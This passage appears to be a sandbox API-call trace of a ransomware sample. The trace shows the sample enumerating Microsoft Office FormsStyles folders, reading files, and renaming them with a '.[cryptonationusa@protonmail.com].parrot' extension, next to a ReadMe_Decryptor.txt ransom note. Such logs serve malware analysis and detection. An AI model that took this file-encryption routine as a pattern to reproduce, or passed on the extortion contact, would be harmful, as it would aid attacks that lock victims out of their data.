Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.640] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.640] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.644] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.644] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x37a, lpOverlapped=0x0) returned 1 [0170.644] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.648] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.648] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.649] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.649] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x354, lpOverlapped=0x0) returned 1 [0170.649] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.653] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.653] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.654] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.654] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa0, lpOverlapped=0x0) returned 1 [0170.654] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.671] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.671] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.673] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.674] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x35c, lpOverlapped=0x0) returned 1 [0170.675] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.679] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.680] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.680] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.680] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.680] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.680] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0170.680] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.680] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.681] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.681] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x16c, lpOverlapped=0x0) returned 1 [0170.682] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.686] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.686] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.687] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.687] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x16c, lpOverlapped=0x0) returned 1 [0170.687] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.693] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1c599e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1c599e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.693] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1c33880, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xf1c33880, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1c599e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0170.693] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.693] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.694] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.694] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdbf, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xdbf, lpOverlapped=0x0) returned 1 [0170.695] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.698] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.698] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.699] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.700] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x74e, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x74e, lpOverlapped=0x0) returned 1 [0170.700] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.703] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.703] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.703] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.704] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.704] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.704] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0170.705] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.705] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.706] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.706] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1afa, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1afa, lpOverlapped=0x0) returned 1 [0170.710] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.718] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.718] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.718] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.719] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x155, lpOverlapped=0x0) returned 1 [0170.719] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.725] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.725] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.726] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xde, lpOverlapped=0x0) returned 1 [0170.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.730] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.730] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1ca5ca0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1ca5ca0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.730] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf1c7fb40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0170.731] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.731] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.732] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.732] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xec4, lpOverlapped=0x0) returned 1 [0170.733] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.736] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.738] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.738] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.738] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.738] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.738] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, 